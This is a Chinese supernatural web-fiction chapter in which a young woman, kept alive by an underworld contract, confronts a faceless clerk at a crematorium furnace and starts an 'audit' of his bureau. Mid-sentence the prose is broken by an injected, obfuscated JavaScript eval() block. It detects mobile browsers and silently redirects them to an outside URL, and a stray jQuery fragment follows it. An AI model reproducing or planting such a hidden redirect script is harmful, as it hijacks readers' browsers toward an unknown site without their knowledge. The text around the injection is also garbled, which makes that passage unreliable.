最后一口冰美式的苦涩还盘桓在舌根，姜殷搁在桌上的手机屏幕，毫无征兆地亮了起来。
没有铃声，没有震动，甚至没有熟悉的运营商logo。只有一条短信，像讣告一样躺在屏幕中央。底色惨白，字符漆黑，排版僵硬得如同从故纸堆里剪下的铅字：
【通知：乙方（姜殷，身份证号：###）所签署的《阳寿续存协议》（编号：癸未年阴字第0714号）已于今日卯时到期。请于今夜子时前，携协议原件至指定地点办理续签或结算手续。逾期未至，将依据《三界人口流动管理条例》第三款，执行强制回收措施。——地府资源管理部-人事科（D-714）】
“咔啦——”
桌角空杯里的冰块轻轻撞响，在寂静的房间里显得格外刺耳。
姜殷的视线凝固在屏幕上，三分十七秒。屏幕暗下，光滑的黑色玻璃映出她此刻的脸——眼下挂着浓重的青黑，发丝凌乱，了无生气。
她摸出烟盒，抽出一支衔在唇间。“咔哒…咔哒…”就在火苗即将舔舐烟卷的瞬间——
桌角，那本被一摞书压在最下面的牛皮纸文件夹，突然自行蠕动了一下，发出一种干燥的、令人牙酸的窸窣声。
仿佛有看不见的手正在翻阅。
姜殷的动作顿住了。烟没点着，那簇火苗在空气中兀自颤抖。
七年了。
她几乎要忘了这本东西的存在。地府办事处的“入职纪念品”，粗糙的牛皮纸封面，触手冰凉，无论春夏秋冬。
记忆像带着铁锈味的潮水，猛地倒灌而入。
急刹车的尖啸，玻璃破碎的轰鸣，还有自己轻飘飘地浮在半空，俯瞰的视角——穿着校服的身体扭曲地躺在变形的驾驶舱里，人们慌乱地奔跑，白布缓缓盖下……
还没等她从那超现实的眩晕感中理出头绪，一个男人就挡住了她的“视线”。
“这边走，赶时间。”他的声音没有起伏，像冰冷的金属。
她像是被无形的力量推搡着，塞进一部老旧的电梯。轿厢四壁是暗沉的黄铜色，按钮全是阴刻的篆文。男人青白的手指按下最底端那个仿佛“幽”字的按钮。
失重感只持续了一瞬。
电梯门滑开，扑面而来的不是医院的消毒水味，而是一股极其诡异的混合气味——廉价线香、焚烧纸钱的灰烬味，还隐约夹杂着某种陈年档案库的霉味。
“姓名姜殷，阳寿未尽，但魂魄意外离体超过临界值。”男人语速飞快，不容置喙，递过来一份文件和一支看起来就很昂贵的钢笔，“签了它，续存七年阳寿。条件是，为本部处理一些‘特殊外勤事件’，报酬直接从阳寿额度里扣。”
荒谬感让她几乎失笑。濒死幻觉都这么有剧本感吗？
直到她的目光落在协议右上角的照片上——那是她！十八岁的她，穿着蓝白相间的校服，对着镜头笑得没心没肺，甚至露出一颗尖尖的小虎牙。
那是高考前拍的准考证照片。车祸前，最多不超过十五分钟。
一股寒意瞬间攫住了她，鬼使神差地，她接过了那支笔。
笔尖触到泛黄的纸面，出乎意料地涩。她用力划下第一笔——不是幽蓝的墨汁，而是一道极细、极鲜艳的血线，倏然从笔尖渗出，瞬间就被纸张吞噬得无影无踪，仿佛那纸是活物，正在饥渴地啜饮。
……
此刻，七年后的此刻，桌上的文件夹仿佛从漫长的沉睡中苏醒，牛皮纸封面自动摊开，内页无风疾速翻动，最后停在那份决定了她七年命运的契约末页。
泛黄的纸张上，当年那抹被吞噬后留下的暗红色签名，此刻颜色淡得几乎难以辨认，像被水浸泡过，只剩下一缕残痕。
姜殷的指尖下意识地触碰到那些几乎消失的字迹。
“嗤——”
一声轻响，接触的刹那，整页契约纸猛地蜷缩、焦化，边缘窜起幽蓝色的火苗，无声地燃烧，顷刻间化为一片灰烬。
那些灰烬并未飘散，反而在桌面上诡异地聚拢，重组，凝成一行触目惊心的字：
【子时，西郊火葬场，三号炉前。】
烟灰从姜殷指间簌簌落下。
她盯着那行灰烬凝成的字，良久，扯出一个冰冷的笑。
“艹。”她低声咒骂，将未点燃的烟直接按在那行字上，用力碾碎。
火星与冰冷的蓝焰碰撞，爆出一股极其难闻的、类似腐肉烧焦的恶臭。
她猛地拉开抽屉，最深处躺着一个银色U盘，七年，一百零八次“外勤”，一百零八个被掩盖的真相。从那个脚踝拴着无形铁链、哀求她救命，却被阴差拖回去“抵债”的老头开始，她就知道，这所谓的“协议”，不过是一张遮羞布。
她把U盘紧紧攥在手心，冰冷的金属棱角硌着皮肤。
然后，她俯身，从床底拖出一个旧背包，开始往里装东西：几枚铜钱（从某个难缠的“滞留者”手里缴获），强光手电，还有……
手机屏幕再次亮起，冷光映亮她的侧脸。
23:00。子时将至。
她拉上背包拉链，最后看了一眼窗外。夜雨淅沥，城市霓虹在湿漉漉的玻璃上晕开模糊的光斑。
西郊火葬场在等着她。雨滴在窗上爬行，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472669|185556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像谁的指尖迟疑地划过玻璃。
姜殷把U盘塞进贴身衣袋，铜钱在包底轻响，如骨节叩地。
她没再看手机。时间自己会走到尽头。
火葬场三号炉，锈迹斑斑，形同巨兽的咽喉。
铁门虚掩，冷风裹着灰烬味涌出。
她踩着碎石进去，脚步不轻不重，像是赴约，又像归还。
炉前站着一个穿黑袍的人，背影瘦削，手里捧着一本册子。
“你迟了三分钟。”
他没有回头。
姜殷站在炉口前，雨水顺着发梢滴落，在水泥地上砸出一个个深色圆点。她的鞋底沾着泥，背包里的铜钱不再响，像睡着了。
“我没迟到。”她说，“是你们的时间，慢了。”
他指尖微动，册子翻页，纸声如蝉蜕。
炉内忽然传来一声轻笑——不是人声，也不是风声，像是某种东西在灰烬里翻身。
姜殷从衣袋掏出U盘，举在掌心。雨水顺着指节流下，像血。
“协议作废了。”她说，“阳寿我不续了。那一百零八个名字，我带来了。”
那人终于转身。
脸上没有五官，只有一片流动的暗影。
他低头看那枚U盘，许久，轻轻开口：
“你知道毁约的代价。”
“知道。”姜殷将U盘往炉口一抛。
它没燃烧，也没坠落，而是悬在半空，像一颗凝固的心脏。
“但你们忘了写进条款——”她笑了，牙齿在雨夜里发亮，“魂魄，可以反向审计。”
炉火骤然青白。
风起，卷着灰烬在空中拼出一行字：
【乙方姜殷，申请启动《审计程序》。】
黑袍人手中的册子，自动翻开至空白页。
第一行，缓缓渗出血字：
“受理。”
炉火青白如霜，映得四周墙壁如同浸在深海之中。雨势渐歇，唯有檐角残滴，敲打石阶，仿佛倒数的钟声。姜殷站在原地，掌心朝上，雨水顺着她手腕的旧伤蜿蜒而下，像一条条微小的蛇，爬向命运的尽头。
黑袍人忽然抬起手，暗影中浮现出一支青铜笔。笔尖悬停在血字上方，滴落一滴墨，在纸页上晕开成漩涡。
U盘开始旋转，发出细微的咔嗒声。炉内灰烬突然暴起，在空中组成无数细小数字，如蜂群般扑向黑袍人。他后退半步，册子上的血字开始扭曲变形。
“第一次审计，2018年冬至。“姜殷的声音混着雨滴，“你们多收了三个时辰。“
檐角最后一滴雨落下。